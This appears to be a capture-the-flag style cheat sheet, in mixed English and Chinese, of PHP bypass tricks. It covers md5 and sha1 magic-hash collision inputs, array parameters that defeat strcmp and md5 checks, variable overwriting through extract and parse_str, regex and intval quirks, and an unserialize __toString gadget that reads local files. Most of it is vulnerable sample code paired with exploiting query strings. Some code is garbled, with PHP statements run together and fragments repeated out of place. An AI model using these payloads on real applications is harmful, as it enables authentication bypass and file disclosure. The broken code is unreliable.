Common payloads include
0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a 0x02 sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } //http://127.0.0.1/1.php?a[]=1&b[]=2
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
Here if $_GET['password'] is an array, the return value is NULL
If it is 123 || asd || 12as || 123%00&&&* *, the return value is true
The rest is false
<?php print_r(@$_GET); foreach ($_GET AS $key => $value) { print $key."\n"; }?>
<?php $auth = '0'; // 这里可以覆盖$auth的变量值 print_r($_GET); echo "</br>"; extract($_GET); if($auth == 1){ echo "private!"; } else{ echo "public!"; } ?>
<?php $a='hi'; foreach($_GET as $key => $value) { echo $key."</br>".$value; $$key = $value; } print "</br>".$a;?>
http://127.0.0.1:8080/test.php?a=12 can achieve the purpose.
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 先将两个参数先转换成string类型。 当比较数组和字符串的时候,返回是0。 如果参数不是string类型,直接return
<?php $password=$_GET['password']; if (strcmp('xd',$password)) { echo 'NO!'; } else{ echo 'YES!'; }?>
http://127.0.0.1:8080/test.php?password[]=
<?phpecho is_numeric(233333); # 1echo is_numeric('233333'); # 1echo is_numeric(0x233333); # 1echo is_numeric('0x233333'); # 1echo is_numeric('233333abc'); # 0?>
If in progress When matching regular expressions, if there are no restrictions on the beginning and end of the string (^ and $), there may be bypass problems
<?php$ip = 'asd 1.1.1.1 abcd'; // 可以绕过if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); }?>
A type of time variable coverage
<?php $var='init'; print $var."</br>"; parse_str($_SERVER['QUERY_STRING']); echo $_SERVER['QUERY_STRING']."</br>"; print $var;?>
<?php echo 0 == 'a' ;// a 转换为数字为 0 重点注意 // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc // 十六进制与整数,被转换为同一进制比较 '0xccccccccc' == '54975581388' ; // 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0 1 == '1'; 1 == '01'; 10 == '1e1'; '100' == '1e2' ; // 十六进制数与带空格十六进制数,被转换为十六进制整数 '0xABCdef' == ' 0xABCdef'; echo '0010e2' == '1e3'; // 0e 开头会被当成数字,又是等于 0*10^xxx=0 // 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过 '0e509367213418206700842008763514' == '0e481036490867661113260034900752'; '0e481036490867661113260034900752' == '0' ; var_dump(md5('240610708') == md5('QNKCDZO')); var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));?>
<?php $_CONFIG['extraSecure'] = true;foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } }if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; }?>
$var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var);
var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 可以使用字符串-0转换,来自于wechall的方法
By the way, intval can be truncated by %00
if($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }
<?php $i ="abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } ?>
$array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。
<?phpclass test{ public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } }$a = new test();$a->file = 'C:\Users\YZ\Desktop\plan.txt';echo serialize($a);?>//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了
<?phpclass test{ public $username = ''; public $password = ''; public $file = ''; public function out(){ echo "username: ".$this->username."<br>"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } }$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';echo unserialize($a);?>
ini_set('session.serialize_handler', 'php_serialize');
ini_set('session.serialize_handler' , 'php');
The two handle sessions differently
\Users\YZ\Desktop\plan.txt";}';echo unserialize($a);?>
ini_set('session.serialize_handler', 'php_serialize');
ini_set(' session.serialize_handler', 'php');
The two methods of handling sessions are different
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